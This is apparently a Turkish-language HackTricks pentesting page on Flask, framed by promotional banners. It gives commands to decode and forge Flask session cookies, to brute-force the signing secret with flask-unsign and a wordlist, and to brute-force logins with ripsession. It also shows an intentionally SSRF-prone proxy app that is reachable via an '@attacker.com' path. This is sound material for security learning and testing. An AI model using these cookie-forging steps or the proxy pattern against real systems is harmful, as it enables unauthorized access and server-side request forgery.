hacktricks/network-services-pentesting/pentesting-web/flask.md

5.8 KiB
Raw Blame History

Flask

AWS hacklemeyi sıfırdan kahramana öğrenin htARTE (HackTricks AWS Red Team Expert) ile!

HackTricks'ı desteklemenin diğer yolları:

Trickest kullanarak dünyanın en gelişmiş topluluk araçları tarafından desteklenen iş akışlarını kolayca oluşturun ve otomatikleştirin.
Bugün Erişim Alın:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

Muhtemelen bir CTF oynuyorsanız, bir Flask uygulaması SSTI ile** ilgili olacaktır.**

Çerezler

Varsayılan çerez oturum adı session'dır.

Çözücü

Çevrimiçi Flask çerez çözücüsü: https://www.kirsle.net/wizards/flask-session.cgi

Manuel

Çerezin ilk kısmını ilk noktaya kadar alın ve Base64 ile çözün>

echo "ImhlbGxvIg" | base64 -d

Flask-Unsign

Cookie aynı zamanda bir şifre kullanılarak imzalanmıştır

Komut satırı aracı, gizli anahtarları tahmin ederek bir Flask uygulamasının oturum çerezlerini almak, çözmek, kaba kuvvet uygulamak ve oluşturmak için kullanılır.

{% embed url="https://pypi.org/project/flask-unsign/" %}

pip3 install flask-unsign

Çerezin Şifresini Çözme

flask-unsign --decode --cookie 'eyJsb2dnZWRfaW4iOmZhbHNlfQ.XDuWxQ.E2Pyb6x3w-NODuflHoGnZOEpbH8'

Kaba Kuvvet

flask-unsign --wordlist /usr/share/wordlists/rockyou.txt --unsign --cookie '<cookie>' --no-literal-eval

İmzalama

flask-unsign --sign --cookie "{'logged_in': True}" --secret 'CHANGEME'

Eski sürümleri kullanarak imzalama

flask-unsign --sign --cookie "{'logged_in': True}" --secret 'CHANGEME' --legacy

RIPsession

Flask-unsign ile oluşturulan çerezleri kullanarak web sitelerine zorla giriş yapmak için komut satırı aracı.

{% embed url="https://github.com/Tagvi/ripsession" %}

ripsession -u 10.10.11.100 -c "{'logged_in': True, 'username': 'changeMe'}" -s password123 -f "user doesn't exist" -w wordlist.txt

Bu örnek, bilinen bir sır kullanarak Flask için sqlmap eval seçeneğini kullanarak otomatik olarak sqlmap yüklerini imzalamak için kullanır.

Flask Proxy to SSRF

Bu yazıda Flask'ın bir isteği "@" karakteri ile başlatmasına izin verdiği açıklanmaktadır.

GET @/ HTTP/1.1
Host: target.com
Connection: close

Hangi senaryoda:

from flask import Flask
from requests import get

app = Flask('__main__')
SITE_NAME = 'https://google.com/'

@app.route('/', defaults={'path': ''})
@app.route('/<path:path>')
def proxy(path):
return get(f'{SITE_NAME}{path}').content

app.run(host='0.0.0.0', port=8080)
**SSRF**'ye neden olmak için "@attacker.com" gibi bir şey tanıtmaya izin verebilir.

<figure><img src="../../.gitbook/assets/image (512).png" alt=""><figcaption></figcaption></figure>

[**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) kullanarak dünyanın en gelişmiş topluluk araçları tarafından desteklenen **otomatik iş akışları** oluşturun ve otomatikleştirin.\
Bugün Erişim Alın:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

<details>

<summary><strong>Sıfırdan kahraman olmak için AWS hackleme öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>

HackTricks'i desteklemenin diğer yolları:

* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI'na**](https://github.com/sponsors/carlospolop) göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Family'yi**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu
* **💬 [Discord grubuna](https://discord.gg/hRep4RUj7f) veya [telegram grubuna](https://t.me/peass) katılın veya** bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**'da takip edin.**
* **Hacking püf noktalarınızı göndererek HackTricks ve HackTricks Cloud** github depolarına PR'lar göndererek paylaşın.

</details>